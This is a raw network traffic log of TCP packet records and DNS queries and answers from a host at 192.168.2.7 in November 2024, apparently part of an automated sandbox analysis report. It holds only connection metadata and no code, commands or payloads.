Nov 20, 2024 21:06:00.952272892 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.952333927 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.952466965 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.952539921 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.953310013 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.953377962 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.953418016 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.953547001 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.954540968 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.954602003 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.954679012 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.954726934 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.955862999 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.956087112 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.956115007 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.956252098 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.957047939 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.957175016 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.957204103 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.957413912 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.958309889 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.958406925 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.958587885 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.958678007 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.959613085 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.959709883 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.960279942 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.960333109 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.960752010 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.960808992 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.961369038 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.961509943 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.962050915 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.962078094 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.962153912 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.963339090 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.963356972 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.963407993 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.963462114 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.964462996 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.964520931 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.964746952 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.965225935 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.965742111 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.965807915 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.966012001 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.966125011 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.966948032 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.967003107 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.967379093 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.967431068 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.968195915 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.968257904 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.968333960 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.968424082 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.969435930 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.969496965 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.969556093 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.970702887 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.970782995 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.972095013 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.972110033 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.972126007 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.972161055 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.972161055 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.972850084 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.973197937 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.973242044 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.973253012 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.973306894 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.973675966 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.973726034 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.974172115 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.974183083 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.974478006 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.974611998 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.974740028 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.974858046 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.975653887 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.975699902 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.976656914 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.976708889 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.976938963 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.976954937 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.976999044 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.978152990 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.978275061 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.978682041 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.978804111 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.979429007 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.979480982 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.979836941 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.979981899 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.980719090 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.980734110 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.980770111 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.980802059 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.981862068 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.981921911 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.981971979 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.982022047 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.983181000 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.983227015 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.983297110 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.983345985 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.984360933 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.984426022 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.984630108 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.984687090 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.985594988 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.985654116 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.985723972 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.985817909 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.986825943 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.986874104 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.987088919 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.987603903 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.988087893 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.988137007 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.988274097 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.988473892 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.989336967 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.989378929 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.989602089 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.989779949 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.990566015 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.990633965 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.990669012 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.991343975 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.991767883 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.991849899 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.991894960 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.992024899 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.992062092 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.993184090 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.993263960 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.996640921 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.996711016 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.996788979 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.997087002 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.997109890 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.997126102 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.997132063 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:01.002724886 CET	49908	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:01.002772093 CET	443	49908	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:01.002835989 CET	49908	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:01.003174067 CET	49908	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:01.003190041 CET	443	49908	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:01.128889084 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.128906012 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.128945112 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.128976107 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.129496098 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.129545927 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.129653931 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.129719973 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.130706072 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.130748987 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.130960941 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.131000042 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.132051945 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.132153988 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.132188082 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.132219076 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.133169889 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.133209944 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.133264065 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.133296013 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.134360075 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.134412050 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.134541988 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.134596109 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.135601044 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.135649920 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.135997057 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.136040926 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.136790991 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.136889935 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.137181044 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.138037920 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.138206959 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.138560057 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.138740063 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.139405012 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.139477968 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.139810085 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.140530109 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.140635967 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.140659094 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.140747070 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.141762972 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.141855001 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.141880989 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.141957998 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.142995119 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.143083096 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.143120050 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.143178940 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.144510031 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.144866943 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.144887924 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.145431995 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.145690918 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.145713091 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.146043062 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.146625042 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.146775007 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.147099018 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.147515059 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.147893906 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.148407936 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.148554087 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.149090052 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.149233103 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.149359941 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.149771929 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.150360107 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.150451899 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.150506020 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.150506020 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.151618958 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.151633978 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.151691914 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.151691914 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.152781963 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.153000116 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.153234005 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.154109001 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.154413939 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.154443026 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.154799938 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.155250072 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.155430079 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.155774117 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.156172991 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.156522989 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.156538010 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.156589031 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.156589031 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.157773018 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.157993078 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.158102036 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.159131050 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.159251928 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.159295082 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.159410000 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.160239935 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.160429001 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.160454035 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.160558939 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.161484957 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.161614895 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.161988020 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.162184954 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.162565947 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.163710117 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.163736105 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.163800001 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.163825035 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.164067984 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.164196968 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.165050983 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.165250063 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.165285110 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.165344954 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.166269064 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.166393995 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.166996002 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.167222023 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.167571068 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.167910099 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.168064117 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.168338060 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.168725967 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.168899059 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.169002056 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.169945955 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.170041084 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.170242071 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.170341969 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.171173096 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.171418905 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.171643019 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:01.172415972 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:01.172588110 CET	80	49899	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 21:05:24.912184000 CET	192.168.2.7	1.1.1.1	0x18c4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:24.912416935 CET	192.168.2.7	1.1.1.1	0x1416	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:36.648967981 CET	192.168.2.7	1.1.1.1	0x5b72	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:36.649199009 CET	192.168.2.7	1.1.1.1	0xb14	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:39.295489073 CET	192.168.2.7	1.1.1.1	0x5e0d	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:39.295892000 CET	192.168.2.7	1.1.1.1	0xe02b	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 21:05:40.195270061 CET	192.168.2.7	1.1.1.1	0xf524	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:40.195895910 CET	192.168.2.7	1.1.1.1	0xe577	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:40.927388906 CET	192.168.2.7	1.1.1.1	0xff3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:40.927725077 CET	192.168.2.7	1.1.1.1	0x3103	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:40.928316116 CET	192.168.2.7	1.1.1.1	0xe253	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:40.928643942 CET	192.168.2.7	1.1.1.1	0xf050	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:40.940747976 CET	192.168.2.7	1.1.1.1	0x5d04	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:40.941346884 CET	192.168.2.7	1.1.1.1	0x715	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:42.286645889 CET	192.168.2.7	1.1.1.1	0x28bc	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.286792040 CET	192.168.2.7	1.1.1.1	0xd38b	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:42.300924063 CET	192.168.2.7	1.1.1.1	0x5ab6	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.301069975 CET	192.168.2.7	1.1.1.1	0xccfd	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:42.433888912 CET	192.168.2.7	1.1.1.1	0x4a72	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.433995008 CET	192.168.2.7	1.1.1.1	0x8c08	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 20, 2024 21:05:42.583143950 CET	192.168.2.7	1.1.1.1	0x2a2a	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.583609104 CET	192.168.2.7	1.1.1.1	0xc8ac	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 21:05:25.049053907 CET	1.1.1.1	192.168.2.7	0x18c4	No error (0)	www.google.com		216.58.208.228	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:25.049210072 CET	1.1.1.1	192.168.2.7	0x1416	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 21:05:36.821237087 CET	1.1.1.1	192.168.2.7	0x5b72	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.180	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.183	A (IP address)	IN (0x0001)	false
